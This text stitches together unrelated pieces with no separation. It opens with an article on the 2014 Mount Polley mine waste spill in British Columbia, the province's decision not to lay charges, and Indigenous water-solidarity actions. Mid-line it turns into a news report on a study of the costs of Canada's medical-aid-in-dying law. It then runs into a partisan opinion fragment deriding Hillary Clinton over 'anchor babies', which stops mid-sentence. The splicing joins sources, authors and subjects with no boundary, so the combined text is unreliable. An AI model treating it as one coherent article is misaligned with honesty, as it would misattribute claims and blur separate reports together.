Canada’s largest mine waste disaster on August 4, 2014, saw 24 million cubic metres of mine waste and water flushed into Hazeltine and Edney Creeks and Polley and Quesnel Lakes, all located in the Cariboo region of Central British Columbia and part of the Fraser River Watershed. Quesnel Lake, one of the largest fjord lakes in the world and considered the birthing waters of sacred salmon and other fish that provide food security in the region, continues to have mine waste pumped into it from the Mount Polley Mine after the province gave special permission to do so in April 2017. According to MiningWatch Canada, “the littoral area along the West Arm of Quesnel Lake was permanently altered by the Mount Polley spill,” and there is no plan to stop polluting anytime soon.
Christine McLean and her family bought a cabin on Quesnel Lake five years ago. Her first cabin log entry in March 2012 read, “We always dreamed of having something really special to pass on to our children, our grandchildren and for them to keep passing it on. That special something became a place on the lake, fishing, hiking, sledding, swimming and maybe even skating! We picked the Cariboo, and in particular, Quesnel Lake because we are absolutely certain that the water will always be protected, there will always be fish in it and it will be many years before it becomes too crowded. Today we draw our water directly from the lake for drinking. I’m sure I’ll catch a trout right off the dock.”
Today, McLean, is the Spokesperson for Concerned Citizens of Quesnel Lake. She says that the community has lost all trust in the company and government - because of the dam spill but also because of the actions they have both taken since then. “Now the Long Term Water Treatment Plan, which will be in effect till the mine life ends 2022 (and forever), is to discharge treated mine contact water via pipeline directly into Quesnel Lake with a 100 m3 Initial Dilution Zone! Using a pristine (or any) waterway as part of the treatment plan for any industry should not be allowed anywhere in Canada,” says McLean. “Water is not a renewable resource!”
BC Announces No Charges Will be Laid
Just days short of the three-year statute of limitations to lay charges in the case, the Province of British Columbia announced on August 2nd that they found no reason to go forward legally against the company. Critics, like Sellers and McLean, say that the Mount Polley disaster should have been a wake up call - but instead is just proving that there is no political will to regulate the mining industry, even in light of disasters like Mount Polley. Weak provincial and federal laws have led to the majority of the world’s mining companies being registered in Canada - and many specifically in BC - because they know they won’t have to pay the consequences of environmental disasters when they arise.
The province reports that both an Expert Panel and the Chief Inspector of Mines for the province, which investigated the mine disaster, “found that the Mount Polley tailings dam failed because the strength and location of a layer of clay underneath the dam was not taken into account in the design or in subsequent dam raises,” raising questions about the approval of the original Environmental Impact Assessment. The province notes,”The Chief Inspector also found other factors including the slope of the perimeter embankment, inadequate water management, insufficient beaches and a sub-excavation at the outside toe of the dam exacerbated the collapse of the dam and the ensuing environmental damage.” Despite the evidence, the province is now leaving it in the hands of the federal government to further pursue an investigation that could lead to charges through the Department of Fisheries and Oceans.
But this is an issue people care about - close to 40,000 people have signed a Sum of Petition to demand justice and a fair and comprehensive clean up by the company, which will be presented at the Provincial Mine Ministers’ Meeting in Fredericton, New Brunswick in August. Amnesty International is also adding signatures to demand a public inquiry that would lead to reforms in the mining sector - even though there has been little evidence to date to show that governments are serious about protecting the environment and livelihoods.
Indigenous Solidarity for Mount Polley - Labrador Land Protectors and The UN Declaration on the Rights of Indigenous Peoples
Around the August 4th anniversary of the Mount Polley disaster, communities across the country and internationally are participating in water ceremonies and gatherings to remember Quesnel Lake. First Nations Women Advocating Responsible Mining - which Sellers is Chair - has been the key proponent of the initiative to unite water defenders.
Denise Cole, Inuk leader from Labrador says it’s important for her and others to participate in August 4th solidarity actions to remember the Mount Polley disaster while drawing attention to their own struggle to keep their watershed safe. “Right now we are struggling in central Labrador as Nalcor, a crown corporation, is building a mega dam on our beautiful Grand (Churchill) River at one of our sacred spaces: Muskrat Falls. This hydro project comes with many risks including drowning from dam breach on an unstable area known as the North Spur and methylmercury poisoning into our downstream traditional food web.”
Like communities across the country, where Indigenous Peoples have been spied on and criminalized for their resistance to extractive projects in their territory without Free, Prior and Informed Consent, Cole and others know that fighting major corporations with the backing of government is not going to be easy.
“We are working together as land protectors, riverkeepers, and citizens to fight back against this project. Our battle has been long and hard, with many of our own facing charges for peaceful resistance actions,” says Cole.
The Labrador Land Protectors are looking forward to the opportunity to show solidarity with the communities impacted by the Mount Polley mine disaster. “Our ceremony gives us a chance to pause in the resistance to pray, sing, and come together for the healing of our river and people. This Friday we are going to the river with Elders, persons of faith, warriors, musicians, Indigenous, and settlers to put our energy into helping us protect Mother Earth and asking Creator to protect us too. It is a time for healing and rejuvenation as well as education.”
Romeo Saganash, an NDP MP representing communities from Abitibi-Baie-James and Nunavuk - brought forward legislation - Bill C262 - an Act to “ensure that Canadian laws are consistent with the UN Declaration on the Rights of Indigenous Peoples (The Declaration). He believes that the proposed legislation “will explicitly reject colonialism in favour of a contemporary approach based on justice, equality, respect for human rights and good faith.” The bill is expected to go to second reading this fall, though it is uncertain if the Liberals will support it.
“The Declaration recognizes that Indigenous Peoples are experts on their own rights. It honours the tenacity and knowledge of our ancestors by reaffirming our inherent rights.” He notes that The Declaration is meant for everyone - and has big hopes for its future in Canada. “[It] provides guidance to governments, a roadmap for non-Indigenous peoples to better understand their responsibilities and a powerful tool to advocate for Indigenous rights, both collective and individual. Key provisions – such as the right to say yes or no to development in Indigenous territories – are even being adopted by some investors and lending Agencies.”
As it becomes painstakingly clear that provincial and federal laws do not currently go far enough to protect communities, Saganash hopes that federal legislation will, “provide clarity on jurisdiction and process; it will be a catalyst to repeal the Indian Act and its paternalistic decision-making and land ownership sections,” which would be a welcome change for many Indigenous communities and frontline land and water defenders.
For Denise Cole In Labrador, solidarity on water issues is an important part of the long-term struggle for justice. “We recognize that coast to coast our people and water are under attack from governments, energy and mining companies,” says Cole. “What happened in Mount Polley was so very wrong and violent. To destroy water and the life within it has devastating consequences to the whole circle of life. We stand together in front of Creator and ask for healing, putting our collective energy together, and putting faith in the power of this unity. All water connects and all water is life. We stand in solidarity across Turtle Island against water injustices.”
Late on Friday, August 4, 2017, Bev Sellers personally filed charges against Imperial Metals for the Mount Polley mine disaster in 2014. In total, 15 charges have been laid under provincial Environmental Management and Mines Acts. The Provincial NDP has also pledged to look into why the investigation was not completed and charges were not laid in time.
Jackie McVicar is a member of the Atlantic Region Solidarity Network (ARSN). ARSN is a network of groups and individuals who are working in solidarity with people struggling for social justice and environmental protection in Latin America, the Caribbean and Atlantic Canada.Canada's medical-aid-in-dying law could save the country's health-care system as much as $138.8-million a year, depending on the number of people who chose to hasten their deaths with the help of a doctor or nurse.
That's according to a new analysis that looked at the likely costs and potential savings of assisted dying, and concluded the practice "should not result in any excess financial burden to the health-care system, and could result in substantial savings."
The authors of the paper, which was published Monday in the Canadian Medical Association Journal, were quick to stress that money should not factor into the decision-making of patients or physicians when it comes to assisted dying.
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But they said provincial health departments that are already grappling with the costs of medical-aid-in-dying (MAID) – doctors have to be paid, lethal drugs have to be purchased – need to have some sense of how assisted dying might affect their bottom lines.
"We're not asking people involved in the individual decisions to offer or provide MAID to consider cost," said Aaron Trachtenberg, an internal medicine resident at the University of Calgary and one of the authors of the analysis. "We're simply asking questions around cost from a systems level, the same way that any large-scale intervention that is going to potentially be paid for by the health-care system should be examined."
Dr. Trachtenberg and his co-author, Braden Manns, a nephrologist and health economist also at the University of Calgary, first set out to quantify the direct costs to the public purse of offering MAID.
Bill C-14, the assisted-dying law that Parliament adopted last June, requires that two physicians assess patients to determine if they qualify for MAID.
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So the authors, using Ontario physician billing codes, added up the cost of two assessments and the cost of paying a doctor to administer a lethal cocktail of drugs. Then, they factored in the price of the drugs, relying on Alberta's suggested regimen of four medications, and the cost of a pharmacist's time to prepare the medications.
They created a high-cost scenario where specialists were required to assess the patient and the most-expensive drugs were used, and a low-cost scenario where family doctors assessed the patient and chose the cheapest drugs.
Drs. Trachtenberg and Manns also assumed that for every patient granted an assisted death, another two would be assessed but not receive MAID.
The grand total? Depending on how many people choose MAID, somewhere between $1.5-million and $14.8-million a year.
Those figures pale in comparison to the savings that could be had if people choose assisted dying over spending the last weeks or months of their lives in hospitals, relying on expensive medical interventions.
By analyzing a slew of factors – including how long patients might otherwise live, what disease they have and, crucially, what percentage of deaths every year are medically assisted – the authors estimate that MAID could reduce costs to the public health-care system by between $34.7-million and $138.8-million annually.
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The potential savings are significant, even if the baseline scenario is palliative care in the home, which tends to be less expensive than dying in a hospital, the authors conclude.
Peter Tanuseputro, a physician-scientist at the Bruyère Research Institute and the Ottawa Hospital, said that this effort to quantify MAID should serve as a reminder that the Canadian health-care system must offer better palliative care, especially at home.
"When we talk about MAID and end-of-life care, I think we need to quickly move on to discuss the need to improve palliative care because the two are very related," he said. "If we provide good palliative care, I think the consensus out there is that many requests for MAID could be avoided completely."
Dr. Tanuseputro provided some of the data for the new analysis, but did not have a hand in writing it.
He did, however, write a commentary that appeared alongside the MAID-cost research in the CMAJ, advocating for improved palliative care as a way to lessen patients' suffering and their need for assisted dying.
Shanaaz Gokool, the chief executive officer of the advocacy group Dying with Dignity, took issue with the fact that some of the paper's assumptions were based on data from the Netherlands and Belgium, where the eligibility criteria for assisted dying are looser than they are in Canada.
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"I think the analysis is very premature and it's highly speculative in many ways because there are so many underlying differences in how MAID is practised, especially in the Netherlands," she said. "I think it's very difficult to really know one way or another. I think when you're talking about raw costs, they distract in some ways from the real challenges people are having accessing MAID."Hillary’s ideas about what constitutes America’s values seem a bit skewed away from both the normative and the Liberals’ and Progressives’ antithetical counter-values.
Of course Hillary is infamous for her “floating point” values and for “triangulating” them to fit her audience and to what will benefit herself the most at that time.
Still, her campaign’s position on the longstanding term, “anchor babies” is a departure from Hillary’s normally carefully crafted to be meaningless positions and rhetoric.
During a press conference today, Jeb Bush tried to outdo Donald Trump and other Republican presidential candidates by doubling down on the hateful term ‘anchor baby’ when referring to the U.S. born children of immigrants. It’s a disgrace to see these candidates attack a group of American citizens who not only have the same rights |
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